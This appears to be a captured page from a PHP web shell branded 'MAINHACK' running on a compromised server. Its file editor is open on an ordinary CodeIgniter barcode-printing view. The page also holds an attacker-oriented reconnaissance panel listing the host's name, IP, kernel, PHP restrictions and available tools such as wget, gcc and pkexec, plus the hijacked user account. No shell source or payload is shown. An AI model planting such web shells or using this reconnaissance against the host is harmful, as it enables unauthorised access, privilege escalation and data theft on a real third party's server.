[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: productBarcodeGenerator.php
<script src="<?php echo base_url(); ?>assets/plugins/barcode/JsBarcode.all.js"></script> <link rel="stylesheet" href="<?php echo base_url();?>frequent_changing/css/print_barcode.css"> <div class="main-content-wrapper"> <section class="content-header"> <div class="row justify-content-between"> <div class="col-6 p-0"> <h3 class="top-left-header"><?php echo lang('print_barcode'); ?></h3> </div> <?php $this->view('updater/breadcrumb', ['firstSection'=> lang('item'), 'secondSection'=> lang('print_barcode')])?> </div> </section> <div class="box-wrapper"> <div class="table-box"> <!-- general form elements --> <div class="box-body"> <div id="printableArea"> <div class="print_div_wrapper"> <?php for ($i = 0; $i < sizeof($items); $i++): for ($j = 0; $j < $items[$i]['qty']; $j++): ?> <div class="text-center border-1-default p-2"> <div> <?php if($items[$i]['parent_id'] != 0) { ?> <span><?= limit_string(getItemNameById($items[$i]['parent_id']), 10) ?></span> - <?php } ?> <span><?= limit_string($items[$i]['item_name'], 10) ?> <?php if($items[$i]['parent_id'] != 0) { ?> (<span><?= $items[$i]['code'] ?></span>) <?php } ?> </div> <div> <img class="op__min_width_139" id="barcode<?= $items[$i]['id'] ?><?= $j ?>"> </div> <div class="text-center item_description"> <p><?= $items[$i]['code'] ?></p> <p><?= getAmtCustom($items[$i]['sale_price']) ?></p> </div> </div> <?php endfor; ?> <?php for ($j = 0; $j < $items[$i]['qty']; $j++): ?> <script> // inline js used for dynamic barcode generate JsBarcode("#barcode<?=$items[$i]['id']?><?=$j?>", "<?=$items[$i]['code']?>", { width: 1, height: 30, fontSize: 12, textMargin: -18, margin: 0, marginTop: 0, marginLeft: 10, marginRight: 10, marginBottom: 0, displayValue: false }); </script> <?php endfor; endfor; ?> </div> </div> </div> <div class="box-footer"> <a id="print_trigger" class="btn bg-blue-btn"> <iconify-icon icon="solar:printer-2-broken"></iconify-icon> <?php echo lang('Print');?> </a> <a class="btn bg-blue-btn" href="<?php echo base_url() ?>Item/itemBarcodeGenerator"> <iconify-icon icon="solar:undo-left-round-broken"></iconify-icon> <?php echo lang('back'); ?> </a> </div> </div> </div> </div> <script src="<?php echo base_url(); ?>frequent_changing/js/print_trigger.js"></script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002